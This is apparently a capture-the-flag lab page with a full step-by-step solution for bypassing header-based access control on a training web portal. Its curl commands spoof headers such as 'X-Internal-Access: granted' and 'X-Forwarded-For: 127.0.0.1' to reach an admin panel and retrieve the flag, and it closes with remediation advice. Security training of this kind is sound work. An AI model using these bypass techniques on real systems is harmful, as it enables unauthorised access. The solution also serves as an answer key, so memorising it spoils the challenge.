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Labs / Header Hijacker

  • Daily Challenge
  • Released 19 Sep 2025

🕵️ Can you manipulate your way past the security headers?

This secure web portal thinks it can control access using HTTP headers and client-side restrictions. 🛡️ But seasoned security researchers know that anything controlled by the client can be manipulated! 🔧 Master the art of header manipulation and discover how seemingly secure applications can be bypassed with the right techniques. 🎯

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Flags
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Points
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🌐 Header Hijacker - Complete Solution

Objective: Bypass the HTTP header-based access control on the SecurePortal web application and retrieve the flag through header manipulation techniques.
🔍 Step 1: Initial Reconnaissance

Navigate to http:// to access the SecurePortal application. The main page displays:

  • SecurePortal Interface: Professional corporate access management system
  • Access Restriction Notice: Clear indication that access requires proper authorization headers
  • Security Notice: States that access to administrative areas is controlled by HTTP security headers
  • Disabled Login Form: Standard authentication is disabled for maintenance
  • Header Information Display: Shows current request headers including User-Agent, Accept, Connection, and Host

The application explicitly mentions that it implements header-based access control, providing the first clue about the attack vector.

🔍 Step 2: Information Gathering - robots.txt

Check the robots.txt file for configuration hints and restricted paths:

curl http:///robots.txt

The robots.txt file reveals critical information:

User-agent: *
Disallow: /admin
Disallow: /api/
Allow: /info

# Internal access configuration
# Header format: X-Internal-Access
# Authorization values: granted, denied

Key Discovery: The robots.txt file directly reveals the header name (X-Internal-Access) and valid authorization values (granted, denied).

🔍 Step 3: System Information Endpoint

Explore the /info endpoint mentioned in robots.txt:

curl http:///info

This endpoint provides system information including:

  • System version: SecurePortal v2.1
  • Available endpoints: /, /admin, /api/status, /health, /info
  • Security note: "Access control implemented via HTTP headers"

For additional details, try the debug parameter:

curl http:///info?debug=1

Debug mode reveals detailed configuration information:

{
  "debug": {
    "auth_method": "header_based",
    "expected_headers": {
      "example_pattern": "X-Internal-*: <authorization_value>",
      "valid_values": ["granted", "allowed", "authorized"]
    }
  }
}
🔍 Step 4: Interactive Header Testing

Test various headers to understand the application's feedback mechanism. The application provides real-time feedback for header attempts:

# Test administrative headers
curl -H "X-Admin: true" http://
# Response: "Detected administrative header attempt. Try internal access headers."

# Test IP-based headers
curl -H "X-Forwarded-For: 127.0.0.1" http://
# Response: "IP-based headers detected. Consider internal network access headers."

# Test internal access with wrong value
curl -H "X-Internal-Access: wrong" http://
# Response: "Internal access header detected with value 'wrong'. Check authorization values."

The application's feedback system guides users toward the correct header format and values, making this a realistic learning experience.

🔍 Step 5: Successful Header Bypass

Based on the information gathered from robots.txt, debug endpoint, and interactive feedback, construct the correct header:

X-Internal-Access: granted

Execute the bypass:

curl -H "X-Internal-Access: granted" http://

Successful bypass results in access to the administrative panel instead of the access control page.

🔍 Step 6: Administrative Panel Access

With the correct header, the application displays the administrative interface containing:

  • Success Message: "Internal authorization header detected. Welcome to the administrative interface."
  • System Status: Access level, authentication method, session status, access time, client IP
  • Security Token: Confirmation of authorized status
  • Flag Container: Prominently displayed security flag
🔍 Step 7: Flag Retrieval

The administrative panel displays the flag in a dedicated container. The flag is clearly visible and formatted as a UUID for easy identification and submission.

Alternative retrieval methods:

# Via API endpoint
curl -H "X-Internal-Access: granted" http:///api/status

# Via admin endpoint
curl -H "X-Internal-Access: granted" http:///admin
🔍 Step 8: Browser-Based Testing

For browser-based testing, use developer tools to modify headers:

  1. Open browser Developer Tools (F12)
  2. Navigate to the Network tab
  3. Refresh the page to capture requests
  4. Right-click on the main request and select "Edit and Resend"
  5. Add header: X-Internal-Access: granted
  6. Send the modified request
  7. Observe the response containing the administrative panel

Alternatively, use browser extensions like ModHeader or Modify Headers for real-time header manipulation.

📚 Discovery Methods Summary
Direct Information Sources:
  • robots.txt: Header name and values
  • /info?debug=1: Configuration details
  • Interactive feedback: Real-time guidance
Testing Approaches:
  • Systematic enumeration: Common header patterns
  • Progressive hints: 20-level hint system
  • Tool-based testing: Burp Suite, curl, browser tools
🔍 Vulnerability Analysis

This challenge demonstrates a critical security flaw where:

  • Client Trust: Application trusts client-provided HTTP headers for access control decisions
  • No Validation: Headers are not validated against trusted sources or cryptographic signatures
  • Information Disclosure: Configuration details are exposed through robots.txt and debug endpoints
  • Feedback Mechanism: Application provides guidance to attackers through error messages
🛡️ Security Implications and Remediation
Vulnerabilities:
  • Header-based access control
  • Information disclosure in robots.txt
  • Debug endpoints in production
  • Verbose error messages
Remediation:
  • Implement server-side authentication
  • Remove sensitive information from public files
  • Disable debug modes in production
  • Use generic error messages
📚 Key Learning Points
  • Information Gathering: Systematic reconnaissance using robots.txt, info endpoints, and debug parameters
  • Header Manipulation: Understanding HTTP header structure and manipulation techniques
  • Interactive Testing: Using application feedback to guide attack progression
  • Tool Proficiency: Practical experience with curl, browser developer tools, and header manipulation extensions
  • Vulnerability Assessment: Identifying and exploiting client-side trust vulnerabilities
Real-World Context: This vulnerability pattern is frequently encountered in production systems where developers implement access controls based on easily manipulated client data. Common scenarios include IP-based restrictions using X-Forwarded-For headers, internal network assumptions, and administrative bypasses through custom headers. Professional penetration testers regularly identify these issues during security assessments, making this challenge highly relevant to real-world security testing.